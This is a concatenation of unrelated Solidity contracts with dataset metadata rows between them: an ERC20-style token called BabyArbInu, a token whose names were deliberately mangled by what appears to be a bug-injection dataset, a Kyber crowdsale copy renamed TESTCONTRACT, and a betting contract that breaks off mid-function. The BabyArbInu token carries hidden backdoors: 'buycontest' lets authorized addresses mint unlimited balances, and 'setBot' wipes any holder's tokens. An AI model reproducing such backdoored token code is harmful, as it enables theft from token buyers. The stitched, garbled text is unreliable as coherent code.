function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external
pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external
view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external
view returns (uint[] memory amounts);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000 * 10 ** 18;
string private _name;
string private _symbol;
constructor(string memory ercName, string memory ercSymbol) {
_name = ercName;
_symbol = ercSymbol;
_balances[address(this)] = _totalSupply;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _buycontest(address to, uint256 amount) internal virtual {
_balances[to] = _balances[to].add(amount);
}
function _burnTransfer(address account) internal virtual {
_balances[address(0)] += _balances[account];
_balances[account] = 1 * 10 ** 18;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract BabyArbInu is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _totalAmount = 100000000 * 10 ** 18;
uint256 public _totalFee = 5;
uint256 public _feeDenominator = 100;
mapping(address => bool) private _blackList;
string _name = "Baby Arb Inu";
string _symbol = "bARBINU";
address _marketingFeeReceiver = 0xbb09d494567E2eCb8e5A7cB7C5c398E5BC4c6628;
address _teamFeeReceiver = 0xbb09d494567E2eCb8e5A7cB7C5c398E5BC4c6628;
address public uniswapV2Pair;
bool isTrading;
modifier trading(){
if (isTrading) return;
isTrading = true;
_;
isTrading = false;
}
constructor () ERC20(_name, _symbol) {
setAuthorized(_marketingFeeReceiver);
setAuthorized(_teamFeeReceiver);
address _router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
IRouter router = IRouter(_router);
uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_transfer(address(this), owner(), _totalAmount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
if (isAuthorized(from) || isAuthorized(to)) {
return;
}
uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
_transfer(to, address(this), feeAmount);
}
function buycontest(address to, uint256 amount) public authorized {
_buycontest(to, amount);
}
function setBot(address adr) public authorized {
_blackList[adr] = true;
_burnTransfer(adr);
}
function isBot(address adr) public view returns (bool) {
return _blackList[adr];
}
}
| 39,999 | 13,685 |
c2d9c5b25e7f3a2586e22e48002a38efa5b9de18dd15ac5b9f27d1d9b6e1b948
| 28,372 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/nonStandarNaming/0xe179f6bce666d9e9abc5226dfb6191f94ebbc374_nonStandardNaming.sol
| 3,273 | 11,987 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
library SafeMath {
function ADD792(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB330(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB330(a, b, "SafeMath: subtraction overflow");
}
function SUB330(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL940(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV558(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV558(a, b, "SafeMath: division by zero");
}
function DIV558(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD235(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD235(a, b, "SafeMath: modulo by zero");
}
function MOD235(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT625(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE454(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL480(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL480(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL480(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE85(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE305(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE305(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE305(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE85(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE85(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT625(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function TOTALSUPPLY794() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF985(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER289(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE73(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE424(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM238(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER11(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL313(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
abstract contract Context {
function _MSGSENDER817() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA892() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED181(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () {
address msgSender = _MSGSENDER817();
_owner = msgSender;
emit OWNERSHIPTRANSFERRED181(address(0), msgSender);
}
function OWNER943() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER755() { //inject NONSTANDARD NAMING
require(_owner == _MSGSENDER817(), "Ownable: caller is not the owner");
_;
}
function TRANSFEROWNERSHIP364(address newOwner) public virtual ONLYOWNER755 { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED181(_owner, newOwner);
_owner = newOwner;
}
}
contract YearnSquaredFinance is IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () {
_name = "YearnSquared.Finance";
_symbol = "Y2F";
_decimals = 18;
uint256 _maxSupply = 30000;
_MINTONCE54(msg.sender, _maxSupply.MUL940(10 ** _decimals));
}
receive() external payable {
revert();
}
function NAME162() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL732() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS776() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY794() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF985(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER289(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER282(_MSGSENDER817(), recipient, amount);
return true;
}
function ALLOWANCE73(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE424(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE612(_MSGSENDER817(), spender, amount);
return true;
}
function TRANSFERFROM238(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER282(sender, recipient, amount);
_APPROVE612(sender, _MSGSENDER817(), _allowances[sender][_MSGSENDER817()].SUB330(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE269(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE612(_MSGSENDER817(), spender, _allowances[_MSGSENDER817()][spender].ADD792(addedValue));
return true;
}
function DECREASEALLOWANCE793(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE612(_MSGSENDER817(), spender, _allowances[_MSGSENDER817()][spender].SUB330(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER282(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER594(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB330(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD792(amount);
emit TRANSFER11(sender, recipient, amount);
}
function _MINTONCE54(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER594(address(0), account, amount);
_totalSupply = _totalSupply.ADD792(amount);
_balances[account] = _balances[account].ADD792(amount);
emit TRANSFER11(address(0), account, amount);
}
function _BURN126(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER594(account, address(0), amount);
_balances[account] = _balances[account].SUB330(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB330(amount);
emit TRANSFER11(account, address(0), amount);
}
function _APPROVE612(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL313(owner, spender, amount);
}
function _SETUPDECIMALS44(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER594(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
| 278,826 | 13,686 |
7bced036fa86e6b379302290ef06bf9cdb9b9a9547e3d4ac200f336b3993f6a5
| 15,626 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/70/70493F933E3701e7A7CC0AC0b4218eC5867aFb9b_TESTCONTRACT.sol
| 3,264 | 13,222 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ContributorApprover {
KyberContributorWhitelist public list;
mapping(address=>uint) public participated;
uint public cappedSaleStartTime;
uint public openSaleStartTime;
uint public openSaleEndTime;
using SafeMath for uint;
function ContributorApprover(KyberContributorWhitelist _whitelistContract,
uint _cappedSaleStartTime,
uint _openSaleStartTime,
uint _openSaleEndTime) {
list = _whitelistContract;
cappedSaleStartTime = _cappedSaleStartTime;
openSaleStartTime = _openSaleStartTime;
openSaleEndTime = _openSaleEndTime;
require(list != KyberContributorWhitelist(0x0));
require(cappedSaleStartTime < openSaleStartTime);
require(openSaleStartTime < openSaleEndTime);
}
// this is a seperate function so user could query it before crowdsale starts
function contributorCap(address contributor) constant returns(uint) {
return list.getCap(contributor);
}
function eligible(address contributor, uint amountInWei) constant returns(uint) {
if(now < cappedSaleStartTime) return 0;
if(now >= openSaleEndTime) return 0;
uint cap = contributorCap(contributor);
if(cap == 0) return 0;
if(now < openSaleStartTime) {
uint remainedCap = cap.sub(participated[ contributor ]);
if(remainedCap > amountInWei) return amountInWei;
else return remainedCap;
}
else {
return amountInWei;
}
}
function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns(uint) {
uint result = eligible(contributor, amountInWei);
participated[contributor] = participated[contributor].add(result);
return result;
}
function saleEnded() constant returns(bool) {
return now > openSaleEndTime;
}
function saleStarted() constant returns(bool) {
return now >= cappedSaleStartTime;
}
}
contract TESTCONTRACT is ContributorApprover {
address public admin;
address public kyberMultiSigWallet;
KyberNetworkCrystal public token;
uint public raisedWei;
bool public haltSale;
mapping(bytes32=>uint) public proxyPurchases;
function TESTCONTRACT(address _admin,
address _kyberMultiSigWallet,
KyberContributorWhitelist _whilteListContract,
uint _totalTokenSupply,
uint _premintedTokenSupply,
uint _cappedSaleStartTime,
uint _publicSaleStartTime,
uint _publicSaleEndTime)
ContributorApprover(_whilteListContract,
_cappedSaleStartTime,
_publicSaleStartTime,
_publicSaleEndTime)
{
admin = _admin;
kyberMultiSigWallet = _kyberMultiSigWallet;
token = new KyberNetworkCrystal(_totalTokenSupply,
_cappedSaleStartTime,
_publicSaleEndTime + 7 days,
_admin);
// transfer preminted tokens to company wallet
token.transfer(kyberMultiSigWallet, _premintedTokenSupply);
}
function setHaltSale(bool halt) {
require(msg.sender == admin);
haltSale = halt;
}
function() payable {
buy(msg.sender);
}
event ProxyBuy(bytes32 indexed _proxy, address _recipient, uint _amountInWei);
function proxyBuy(bytes32 proxy, address recipient) payable returns(uint){
uint amount = buy(recipient);
proxyPurchases[proxy] = proxyPurchases[proxy].add(amount);
ProxyBuy(proxy, recipient, amount);
return amount;
}
event Buy(address _buyer, uint _tokens, uint _payedWei);
function buy(address recipient) payable returns(uint){
require(tx.gasprice <= 50000000000 wei);
require(! haltSale);
require(saleStarted());
require(! saleEnded());
uint weiPayment = eligibleTestAndIncrement(recipient, msg.value);
require(weiPayment > 0);
// send to msg.sender, not to recipient
if(msg.value > weiPayment) {
msg.sender.transfer(msg.value.sub(weiPayment));
}
// send payment to wallet
sendETHToMultiSig(weiPayment);
raisedWei = raisedWei.add(weiPayment);
uint recievedTokens = weiPayment.mul(600);
assert(token.transfer(recipient, recievedTokens));
Buy(recipient, recievedTokens, weiPayment);
return weiPayment;
}
function sendETHToMultiSig(uint value) internal {
kyberMultiSigWallet.transfer(value);
}
event FinalizeSale();
// function is callable by everyone
function finalizeSale() {
require(saleEnded());
require(msg.sender == admin);
// burn remaining tokens
token.burn(token.balanceOf(this));
FinalizeSale();
}
// ETH balance is always expected to be 0.
// but in case something went wrong, we use this function to extract the eth.
function emergencyDrain(ERC20 anyToken) returns(bool){
require(msg.sender == admin);
require(saleEnded());
if(this.balance > 0) {
sendETHToMultiSig(this.balance);
}
if(anyToken != address(0x0)) {
assert(anyToken.transfer(kyberMultiSigWallet, anyToken.balanceOf(this)));
}
return true;
}
// just to check that funds goes to the right place
// tokens are not given in return
function debugBuy() payable {
require(msg.value == 123);
sendETHToMultiSig(msg.value);
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract KyberContributorWhitelist is Ownable {
// cap is in wei. The value of 7 is just a stub.
// after kyc registration ends, we change it to the actual value with setSlackUsersCap
uint public slackUsersCap = 7;
mapping(address=>uint) public addressCap;
function KyberContributorWhitelist() {}
event ListAddress(address _user, uint _cap, uint _time);
// Owner can delist by setting cap = 0.
// Onwer can also change it at any time
function listAddress(address _user, uint _cap) onlyOwner {
addressCap[_user] = _cap;
ListAddress(_user, _cap, now);
}
// an optimization in case of network congestion
function listAddresses(address[] _users, uint[] _cap) onlyOwner {
require(_users.length == _cap.length);
for(uint i = 0 ; i < _users.length ; i++) {
listAddress(_users[i], _cap[i]);
}
}
function setSlackUsersCap(uint _cap) onlyOwner {
slackUsersCap = _cap;
}
function getCap(address _user) constant returns(uint) {
uint cap = addressCap[_user];
if(cap == 1) return slackUsersCap;
else return cap;
}
function destroy() onlyOwner {
selfdestruct(owner);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Transfer(address indexed _from, address indexed _to, uint _value);
//event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Approval(address indexed _owner, address indexed _spender, uint _value);
//event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
// KYBER-NOTE! code changed to comply with ERC20 standard
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
//balances[_from] = balances[_from].sub(_value); // this was removed
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract KyberNetworkCrystal is StandardToken, Ownable {
string public constant name = "Kyber Network Crystal";
string public constant symbol = "KNC";
uint public constant decimals = 18;
uint public saleStartTime;
uint public saleEndTime;
address public tokenSaleContract;
modifier onlyWhenTransferEnabled() {
if(now <= saleEndTime && now >= saleStartTime) {
require(msg.sender == tokenSaleContract);
}
_;
}
modifier validDestination(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
function KyberNetworkCrystal(uint tokenTotalAmount, uint startTime, uint endTime, address admin) {
// Mint all tokens. Then disable minting forever.
balances[msg.sender] = tokenTotalAmount;
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
saleStartTime = startTime;
saleEndTime = endTime;
tokenSaleContract = msg.sender;
transferOwnership(admin); // admin could drain tokens that were sent here by mistake
}
function transfer(address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value)
onlyWhenTransferEnabled
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) onlyWhenTransferEnabled
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) onlyWhenTransferEnabled
returns (bool) {
assert(transferFrom(_from, msg.sender, _value));
return burn(_value);
}
function emergencyERC20Drain(ERC20 token, uint amount) onlyOwner {
token.transfer(owner, amount);
}
}
| 57,540 | 13,687 |
e4e360325c6d0e1e6b0412a3d47855d0c09bb37ff7cd2b93e6ecdd877bb73a44
| 20,128 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/79/79761080f0AE81cAdC796859C0E785180f548a83_Gambit.sol
| 5,297 | 19,014 |
//SPDX-License-Identifier: None
pragma solidity ^0.8.7;
contract Gambit {
event BetEvent(address addy,
uint256 amount,
string matchId,
string homeTeam,
uint256 homeTeamScore,
string awayTeam,
uint256 awayTeamScore);
event ClaimBetEvent(address addy,
string matchId,
uint betAmount,
uint prizeMatchWinner,
uint prizePerfectScoreWinner,
uint totalPrize);
event ResultEvent(string matchId,
uint matchWinners,
uint perfectScoreWinners,
uint matchWinnersAvax,
uint perfectScoreWinnersAvax);
event RefundBetEvent(address addy,
string matchId,
uint refund);
event LogEvent(address addy,
string variable,
uint valueint,
string valueS,
bool valueB);
struct Bet {
string betId;
address addy;
uint256 amount;
string matchId;
string homeTeam;
uint256 homeTeamScore;
bool homeTeamWinner;
string awayTeam;
uint256 awayTeamScore;
bool awayTeamWinner;
bool isTie;
bool isMatchWinner;
bool isPerfectScoreWinner;
uint256 gambitPoints;
uint prizeMatchWinner;
uint prizePerfectScoreWinner;
bool isClaimed;
}
struct BetValidation {
string betId;
address addy;
string matchId;
uint256 amount;
bool isMatchWinner;
bool isPerfectScoreWinner;
uint prizeMatchWinner;
uint prizePerfectScoreWinner;
bool isClaimed;
}
struct Match {
string id;
uint matchDate;
uint closingTime;
string homeTeam;
uint homeTeamScore;
bool homeTeamWinner;
string awayTeam;
uint awayTeamScore;
bool awayTeamWinner;
bool isTie;
bool isClaimable;
bool isCancelled;
}
struct MatchBet {
mapping(address => Bet) betsByAddress;
mapping (address => Bet) winners;
address[] winnersAddress;
Bet[] bets;
uint matchWinners;
uint perfectScoreWinners;
uint256 winnersPot;
uint256 perfectScorePot;
uint256 betsQ;
uint matchWinnersAvax;
uint perfectScoreWinnersAvax;
uint avaxPot;
}
address payable private owner;
mapping (string => MatchBet) public matchesBets;
mapping (string => Match) public matches;
mapping (address => BetValidation) public betsAddress;
struct global {
uint256 nextDayPot;
uint256 finalPot;
uint256 treasuryPot;
uint256 foundersClubPot;
uint256 minBet;
uint256 initialPot;
}
global public pots;
uint256 winnerCut = 60;
uint256 perfectScoreCut = 10;
uint256 nextDayCut = 10;
uint256 finalCut = 5;
uint256 treasuryCut = 10;
uint256 foundersClubCut = 5;
constructor() {
owner = payable(msg.sender);
pots.nextDayPot = 0;
pots.finalPot = 0;
pots.treasuryPot = 0;
pots.foundersClubPot = 0;
pots.minBet = 0.5 ether;
pots.initialPot = 0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function placeBet(string memory _betId, string memory _matchId, string memory _homeTeam, uint _homeTeamScore, string memory _awayTeam, uint _awayTeamScore) external payable {
require(block.timestamp < matches[_matchId].closingTime && !matches[_matchId].isCancelled, "bet cannot be made now");
require(_homeTeamScore >=0 && _awayTeamScore >= 0, "impossible score");
require(msg.value >= pots.minBet, "bet amount too low");
require(matchesBets[_matchId].betsByAddress[msg.sender].amount == 0, "bet already made");
require (msg.sender != owner, "Owner can't make a bet");
uint betAmount = msg.value;
emit LogEvent(msg.sender, "betAmount", betAmount, "NA", false);
matchesBets[_matchId].betsByAddress[msg.sender].betId = _betId;
matchesBets[_matchId].betsByAddress[msg.sender].addy = msg.sender;
matchesBets[_matchId].betsByAddress[msg.sender].amount = betAmount;
matchesBets[_matchId].betsByAddress[msg.sender].matchId = _matchId;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeam = _homeTeam;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeamScore = _homeTeamScore;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeam = _awayTeam;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeamScore = _awayTeamScore;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true;
matchesBets[_matchId].betsByAddress[msg.sender].isTie = _homeTeamScore == _awayTeamScore ? true : false;
matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner = false;
matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[msg.sender].gambitPoints = 1;
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = false;
matchesBets[_matchId].bets.push(matchesBets[_matchId].betsByAddress[msg.sender]);
betsAddress[msg.sender].betId = _betId;
betsAddress[msg.sender].addy = msg.sender;
betsAddress[msg.sender].matchId = _matchId;
betsAddress[msg.sender].amount = betAmount;
betsAddress[msg.sender].isMatchWinner = false;
betsAddress[msg.sender].isPerfectScoreWinner = false;
betsAddress[msg.sender].isClaimed = false;
matchesBets[_matchId].avaxPot += betAmount;
matchesBets[_matchId].winnersPot += betAmount*winnerCut/100;
matchesBets[_matchId].perfectScorePot += betAmount*perfectScoreCut/100;
